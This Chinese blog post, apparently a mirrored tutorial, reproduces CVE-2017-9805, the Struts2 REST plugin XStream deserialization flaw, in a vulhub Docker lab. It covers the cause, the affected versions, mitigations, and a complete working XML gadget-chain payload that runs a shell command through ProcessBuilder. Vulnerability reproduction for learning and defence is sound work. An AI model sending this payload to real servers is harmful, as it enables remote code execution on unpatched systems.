zoukankan      html  css  js  c++  java
  • Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

    Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

    一、漏洞概述

    Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

    二、漏洞原理

    Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

    扩展名

    Content-Type

    解析方法

    xml

    Application/xml

    xstream

    json

    Application/json

    Jsonlib或jackson

    xhtml

    Application/xhtml+xml

    Application/x-www-form-urlencoded

    Multipart/form-data

    Jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag指定需要实例化的类名:

    <classname></classname>

    //或者

    <paramname class="classname"></paramname>

    所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

    三、漏洞影响版本

    Struts 2.1.2 - Struts 2.3.33

    Struts 2.5 - Struts 2.5.12

    四、漏洞环境搭建以及复现

    1、利用docker搭建vulhub漏洞环境

    docker-compose up -d

      

    2、启动环境后,访问http://172.17.0.1:8080/orders.xhtml,可以看到showcase页面。

      

    3、由于rest-plugin会根据URI扩展名或 Content-Type来判断解析方法, 所以我们只需要修改orders.xhtml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

    3.1点击一个edit进行编译页面,burpsuit抓包

      

    3.2修改数据包,构造数据包

    将Content-Type:application/x-www-form-urlencoded修改为:Content-Type:application/xml

    Post数据修改成:

    <map>
    <entry>
         <jdk.nashorn.internal.objects.NativeString>
           <flags>0</flags>
           <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
             <dataHandler>
               <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                 <is class="javax.crypto.CipherInputStream">
                   <cipher class="javax.crypto.NullCipher">
                     <initialized>false</initialized>
                     <opmode>0</opmode>
                     <serviceIterator class="javax.imageio.spi.FilterIterator">
                       <iter class="javax.imageio.spi.FilterIterator">
                         <iter class="java.util.Collections$EmptyIterator"/>
                         <next class="java.lang.ProcessBuilder">
                           <command>
    <string>touch</string>
    <string>/tmp/test.txt</string>
                           </command>
                           <redirectErrorStream>false</redirectErrorStream>
                         </next>
                       </iter>
                       <filter class="javax.imageio.ImageIO$ContainsFilter">
                         <method>
                           <class>java.lang.ProcessBuilder</class>
                           <name>start</name>
                           <parameter-types/>
                         </method>
                         <name>foo</name>
                       </filter>
                       <next class="string">foo</next>
                     </serviceIterator>
                     <lock/>
                   </cipher>
                   <input class="java.lang.ProcessBuilder$NullInputStream"/>
                   <ibuffer/>
                   <done>false</done>
                   <ostart>0</ostart>
                   <ofinish>0</ofinish>
                   <closed>false</closed>
                 </is>
                 <consumed>false</consumed>
               </dataSource>
               <transferFlavors/>
             </dataHandler>
             <dataLen>0</dataLen>
           </value>
         </jdk.nashorn.internal.objects.NativeString>
         <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
       </entry>
       <entry>
         <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
         <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
       </entry>
     </map>

      

    4、可以看到响应500状态码,不过还是成功了

      

    5、在目标执行docker-compose exec struts2 ls /tmp/ 查看是否成功执行touch命令

      

    五、漏洞防御

    1、 升级版本

    2、 删除Struts2 REST插件,或仅限于服务器普通页面和jsons:

    <constant name=”struts.action.extension” value=”xhtml,json”/>

    3、限制服务端扩展类型,删除XML支持。

    ---------------------------------------------------------------------------------------------------------------------

    参考链接:https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md

     
  • 相关阅读:
    基本技能训练之线程
    关于UEditor的使用配置(图片上传配置)
    PAT 乙级练习题1002. 写出这个数 (20)
    codeforces 682C Alyona and the Tree DFS
    codeforces 681D Gifts by the List dfs+构造
    codeforces 678E Another Sith Tournament 概率dp
    codeforces 680E Bear and Square Grid 巧妙暴力
    codeforces 678D Iterated Linear Function 矩阵快速幂
    codeforces 679A Bear and Prime 100 交互
    XTUOJ 1248 TC or CF 搜索
  • 原文地址:https://www.cnblogs.com/yuzly/p/11183855.html
Copyright © 2011-2022 走看看